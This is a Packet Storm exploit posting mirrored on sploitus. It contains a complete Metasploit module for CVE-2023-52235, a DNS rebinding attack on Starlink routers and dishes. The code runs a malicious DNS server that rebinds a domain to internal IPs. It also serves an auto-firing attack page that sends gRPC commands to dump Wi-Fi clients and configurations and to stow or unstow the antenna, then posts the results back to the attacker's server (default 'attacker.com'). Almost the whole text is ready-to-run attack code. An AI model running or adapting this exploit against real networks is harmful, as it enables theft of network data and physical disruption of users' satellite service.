Share
## https://sploitus.com/exploit?id=PACKETSTORM:217643
==================================================================================================================================
| # Title : DNS Rebinding Exploit Module |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : indoushka |
==================================================================================================================================
[+] Summary : This Metasploit auxiliary module implements a DNS rebinding attack targeting Starlink infrastructure (CVE-2023-52235).
The updated version focuses on improved stability and reliability by introducing safer DNS parsing, session tracking, memory handling, and basic rate limiting.
The module operates by running a malicious DNS server that dynamically switches responses from a public IP to internal network targets, enabling access to internal services.
It also hosts an HTTP server to deliver a client-side attack page and handle data exfiltration.
[+] Key enhancements include:
Robust DNS query parsing with compression handling safeguards
Per-client session tracking with automatic cleanup
Validation of DNS query type/class
Controlled TTL behavior to ensure rebinding effectiveness
Thread-safe data collection and exfiltration handling
Input size validation to prevent memory abuse
Graceful error handling and resource cleanup
Overall, this version provides a more stable and controlled exploitation workflow suitable for testing DNS rebinding scenarios in Starlink environments.
[+] POC :
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpServer
include Msf::Auxiliary::Report
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Starlink DNS Rebinding Exploit (CVE-2023-52235) ',
'Description' => %q{
This module exploits CVE-2023-52235, a DNS rebinding vulnerability
in Starlink Routers and Dishy (all generations before 2023.53.0).
},
'Author' => [
'indoushka'
],
'References' => [
['CVE', '2023-52235'],
['URL', 'https://github.com/hackintoanetwork/CVE-2023-52235']
],
'DisclosureDate' => '2023-12-20',
'License' => MSF_LICENSE,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options([
OptString.new('DOMAIN', [true, 'Domain name for DNS rebinding', 'attacker.com']),
OptAddress.new('PUBLIC_IP', [true, 'Public IP of the attacker server', '0.0.0.0']),
OptPort.new('DNS_PORT', [true, 'DNS server port', 53]),
OptEnum.new('ATTACK', [true, 'Attack type to execute', 'all', ['all', 'wifi_clients', 'wifi_config', 'dishy_config', 'stow', 'unstow']]),
OptBool.new('AUTO_ATTACK', [true, 'Attack automatically when page loads', true]),
OptInt.new('DNS_TTL', [true, 'DNS TTL in seconds (0-255)', 1])
])
end
def setup
@domain = datastore['DOMAIN']
@public_ip = datastore['PUBLIC_IP']
@dns_port = datastore['DNS_PORT']
@attack_type = datastore['ATTACK']
@auto_attack = datastore['AUTO_ATTACK']
@dns_ttl = datastore['DNS_TTL']
@dns_ttl = 1 if @dns_ttl == 0
@internal_targets = ['192.168.1.1', '192.168.100.1']
@collected_data = []
@data_lock = Mutex.new
@dns_running = false
@dns_thread = nil
@client_sessions = {}
@session_lock = Mutex.new
super
end
def run
print_status("Starting Starlink DNS Rebinding Exploit (CVE-2023-52235)")
print_status("Domain: #{@domain}")
print_status("Public IP: #{@public_ip}")
print_status("DNS Port: #{@dns_port}")
print_status("DNS TTL: #{@dns_ttl}")
print_status("HTTP Port: #{datastore['SRVPORT']}")
print_status("Attack Type: #{@attack_type}")
print_status("Auto Attack: #{@auto_attack}")
start_dns_server
start_service({
'Uri' => {
'Proc' => proc { |cli, req| on_request(cli, req) },
'Path' => '/'
}
})
print_good("HTTP server started on port #{datastore['SRVPORT']}")
print_good("Victim URL: http://#{@domain}:#{datastore['SRVPORT']}/")
print_status("Waiting for victim to visit the page...")
last_cleanup = Time.now
cleanup_interval = 60
while @dns_running
if Time.now - last_cleanup > cleanup_interval
cleanup_old_sessions
last_cleanup = Time.now
end
select(nil, nil, nil, 1)
end
end
def cleanup_old_sessions
@session_lock.synchronize do
now = Time.now.to_i
@client_sessions.keys.each do |client_id|
if now - @client_sessions[client_id][:last_seen] > 30
@client_sessions.delete(client_id)
end
end
end
end
def start_dns_server
@dns_running = true
@dns_thread = Rex::ThreadFactory.spawn('DNSRebinding', false) do
begin
dns_sock = nil
dns_sock = Rex::Socket::Udp.create(
'LocalHost' => '0.0.0.0',
'LocalPort' => @dns_port
)
print_good("DNS server started on port #{@dns_port} (TTL=#{@dns_ttl})")
while @dns_running
begin
data, addr = dns_sock.recvfrom(512)
next if data.nil? or data.length < 12
query_id = data[0,2].unpack('n')[0]
qdcount = data[4,2].unpack('n')[0]
next if qdcount == 0
pos = 12
qname = ''
jumps = 0
max_jumps = 10
while true
break if pos >= data.length
len = data[pos].ord
if (len & 0xC0) == 0xC0
jumps += 1
if jumps > max_jumps
print_warning("[DNS] Compression loop detected from #{addr[0]}")
break
end
if pos + 1 >= data.length
break
end
pointer = ((len & 0x3F) << 8) | data[pos + 1].ord
pos = pointer
next
end
break if len == 0
pos += 1
if pos + len > data.length
break
end
qname << data[pos, len] + '.'
pos += len
end
qname = qname[0..-2] if qname.end_with?('.')
pos += 1
next if pos + 4 > data.length
qtype = data[pos,2].unpack('n')[0]
pos += 2
qclass = data[pos,2].unpack('n')[0]
pos += 2
next unless qtype == 1
next unless qclass == 1
next unless qname.to_s.downcase == @domain.downcase
question_data = data[12, pos - 12]
client_id = "#{addr[0]}:#{addr[1]}"
@session_lock.synchronize do
@client_sessions[client_id] ||= { stage: 0, last_seen: Time.now.to_i }
@client_sessions[client_id][:last_seen] = Time.now.to_i
end
stage = @client_sessions[client_id][:stage]
@client_sessions[client_id][:stage] += 1
if stage == 0
ip = @public_ip
print_status("[DNS] #{addr[0]}:#{addr[1]} Stage 1 -> #{ip}")
else
ip = @internal_targets[(stage - 1) % @internal_targets.length]
print_status("[DNS] #{addr[0]}:#{addr[1]} Stage #{stage + 1} -> #{ip}")
end
response = ''
response << [query_id].pack('n')
response << [0x8180].pack('n')
response << [1].pack('n')
response << [1].pack('n')
response << [0].pack('n')
response << [0].pack('n')
response << question_data
NAME_POINTER = 0xC00C
response << [NAME_POINTER].pack('n')
response << [1].pack('n')
response << [1].pack('n')
response << [@dns_ttl].pack('N')
response << [4].pack('n')
response << ip.split('.').map(&:to_i).pack('C4')
dns_sock.send(response, 0, addr[0], addr[1])
rescue ::Interrupt
break
rescue => e
print_error("DNS error: #{e}")
end
end
dns_sock.close if dns_sock
rescue => e
print_error("Failed to start DNS server: #{e}")
@dns_running = false
end
end
end
def stop_dns_server
@dns_running = false
if @dns_thread
@dns_thread.kill
@dns_thread.join
end
end
def on_request(cli, req)
sleep(0.001)
if req.method == 'GET' && req.uri == '/'
send_attack_page(cli)
elsif req.method == 'POST'
handle_exfiltration(cli, req)
else
send_not_found(cli)
end
end
def send_attack_page(cli)
html = generate_attack_page
send_response(cli, 200, 'text/html', html)
end
def handle_exfiltration(cli, req)
if req.body.length > 1024 * 1024
send_response(cli, 413, 'application/json', '{"status":"payload too large"}')
return
end
begin
data = JSON.parse(req.body.force_encoding('UTF-8'))
@data_lock.synchronize do
@collected_data << data
if @collected_data.length > 1000
@collected_data = @collected_data.last(500)
end
end
print_good("Exfiltrated: #{data['type']} - #{data['data'].to_s[0..100]}")
report_note(
host: cli.peerhost,
type: "starlink.#{data['type']}",
data: data,
update: :unique_data
)
send_response(cli, 200, 'application/json', '{"status":"received"}')
rescue JSON::ParserError => e
print_error("JSON parse error: #{e}")
send_response(cli, 400, 'application/json', '{"status":"invalid json"}')
rescue => e
print_error("Failed to process exfiltration: #{e}")
send_response(cli, 500, 'application/json', '{"status":"error"}')
end
end
def send_response(cli, status, content_type, body)
body = body.to_s
cli.send_response(status)
cli.send_header('Content-Type', content_type)
cli.send_header('Content-Length', body.bytesize)
cli.send_header('Cache-Control', 'no-store, no-cache, must-revalidate')
cli.send_header('X-Content-Type-Options', 'nosniff')
cli.end_headers
cli.send_body(body)
end
def send_not_found(cli)
send_response(cli, 404, 'text/plain', 'Not Found')
end
def generate_attack_page
commands = {
'wifi_clients' => {
'host' => '192.168.1.1',
'port' => 9001,
'path' => '/SpaceX.API.Device.Device/Handle',
'payload' => 'AAAABNK7AQA='
},
'wifi_config' => {
'host' => '192.168.1.1',
'port' => 9001,
'path' => '/SpaceX.API.Device.Device/Handle',
'payload' => 'AAAAAcq7AQA='
},
'dishy_config' => {
'host' => '192.168.100.1',
'port' => 9201,
'path' => '/SpaceX.API.Device.Device/Handle',
'payload' => 'AAAAAu+JAQA='
},
'stow' => {
'host' => '192.168.100.1',
'port' => 9201,
'path' => '/SpaceX.API.Device.Device/Handle',
'payload' => 'AAAAA5J9AA=='
},
'unstow' => {
'host' => '192.168.100.1',
'port' => 9201,
'path' => '/SpaceX.API.Device.Device/Handle',
'payload' => 'AAAABZJ9AgEI'
}
}
commands_json = JSON.generate(commands)
target_domain = @domain
attack_cmd = @attack_type
auto_attack_js = ''
if @auto_attack
delay = 3000
auto_attack_js = "setTimeout(() => { attack(\"#{attack_cmd}\"); }, #{delay});"
end
return <<~HTML
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Starlink DNS Rebinding Exploit - CVE-2023-52235</title>
<style>
body { background: #0a0a0a; color: #0f0; font-family: monospace; padding: 20px; }
.container { max-width: 1200px; margin: 0 auto; background: #111; border: 1px solid #0f0; border-radius: 8px; padding: 20px; }
h1 { color: #f60; text-align: center; }
.status { background: #000; padding: 15px; border-radius: 4px; margin: 20px 0; height: 200px; overflow-y: auto; font-size: 12px; }
button { background: #f60; color: #000; border: none; padding: 10px 20px; margin: 5px; cursor: pointer; border-radius: 4px; font-weight: bold; }
button:hover { background: #f80; }
.danger { background: #c00; color: #fff; }
</style>
</head>
<body>
<div class="container">
<h1> CVE-2023-52235 - Starlink DNS Rebinding Exploit </h1>
<p>Target: <strong>#{target_domain}</strong></p>
<div>
<button onclick="attack('all')"> FULL ATTACK</button>
<button onclick="attack('wifi_clients')">Wi-Fi Clients</button>
<button onclick="attack('wifi_config')">Wi-Fi Config</button>
<button onclick="attack('dishy_config')"> Dishy Config</button>
<button onclick="attack('stow')" class="danger"> STOW ANTENNA</button>
<button onclick="attack('unstow')"> UNSTOW</button>
</div>
<div><h3>Status:</h3><div id="status" class="status">[+] Ready...</div></div>
<div><h3>Exfiltrated Data:</h3><div id="results" class="status">[-] No data yet</div></div>
</div>
<script>
const TARGET = "#{target_domain}";
const COMMANDS = #{commands_json};
let messageCount = 0;
const MAX_MESSAGES = 200;
function log(msg, type) {
type = type || 'info';
const div = document.getElementById('status');
const colors = {info: '#0af', success: '#0f0', error: '#f00'};
const color = colors[type] || '#fff';
messageCount++;
if (messageCount > MAX_MESSAGES) {
while (div.children.length > MAX_MESSAGES / 2) {
div.removeChild(div.firstChild);
}
messageCount = div.children.length;
}
div.innerHTML += `<div style="color:${color}">[${new Date().toLocaleTimeString()}] ${msg}</div>`;
div.scrollTop = div.scrollHeight;
}
function exfiltrate(type, data) {
fetch('/', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({type: type, data: data, timestamp: new Date().toISOString()})
}).catch(e => console.log(e));
const resultsDiv = document.getElementById('results');
const dataStr = typeof data === 'string' ? data : JSON.stringify(data).substring(0, 200);
while (resultsDiv.children.length > 100) {
resultsDiv.removeChild(resultsDiv.firstChild);
}
resultsDiv.innerHTML = `<div style="color:#0f0">[${new Date().toLocaleTimeString()}] ${type}: ${dataStr}</div>` + resultsDiv.innerHTML;
}
async function sendGRPCRequest(cmd, config) {
const url = `http://${TARGET}:${config.port}${config.path}`;
const payloadBytes = Uint8Array.from(atob(config.payload), c => c.charCodeAt(0));
const compressionFlag = new Uint8Array([0]);
const lengthBytes = new Uint8Array(4);
new DataView(lengthBytes.buffer).setUint32(0, payloadBytes.length, false);
const framedPayload = new Uint8Array(1 + 4 + payloadBytes.length);
framedPayload.set(compressionFlag, 0);
framedPayload.set(lengthBytes, 1);
framedPayload.set(payloadBytes, 5);
log(`Sending ${cmd} to ${config.host}:${config.port}...`, 'info');
try {
const response = await fetch(url, {
method: 'POST',
headers: {
'Content-Type': 'application/grpc-web+proto',
'x-grpc-web': '1',
'Accept': 'application/grpc-web+proto'
},
body: framedPayload,
cache: 'no-store',
credentials: 'omit'
});
if (response.ok) {
const responseData = await response.arrayBuffer();
log(`${cmd} SUCCESS! Response: ${responseData.byteLength} bytes`, 'success');
exfiltrate(cmd, {status: 'success', length: responseData.byteLength});
return {success: true};
} else {
log(`${cmd} FAILED: HTTP ${response.status}`, 'error');
exfiltrate(cmd, {status: 'failed', http: response.status});
return {success: false};
}
} catch(e) {
log(`${cmd} ERROR: ${e.message}`, 'error');
exfiltrate(cmd, {status: 'error', error: e.message});
return {success: false};
}
}
async function attack(type) {
log(`Starting attack: ${type}`, 'info');
if (type === 'all') {
for (const [cmd, config] of Object.entries(COMMANDS)) {
await sendGRPCRequest(cmd, config);
await new Promise(r => setTimeout(r, 2000));
}
} else if (COMMANDS[type]) {
await sendGRPCRequest(type, COMMANDS[type]);
} else {
log(`Unknown command: ${type}`, 'error');
}
log(`Attack completed: ${type}`, 'success');
}
log("Attack page loaded. Target domain: " + TARGET, 'info');
#{auto_attack_js}
</script>
</body>
</html>
HTML
end
def cleanup
print_status("Cleaning up...")
stop_dns_server
super
end
end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================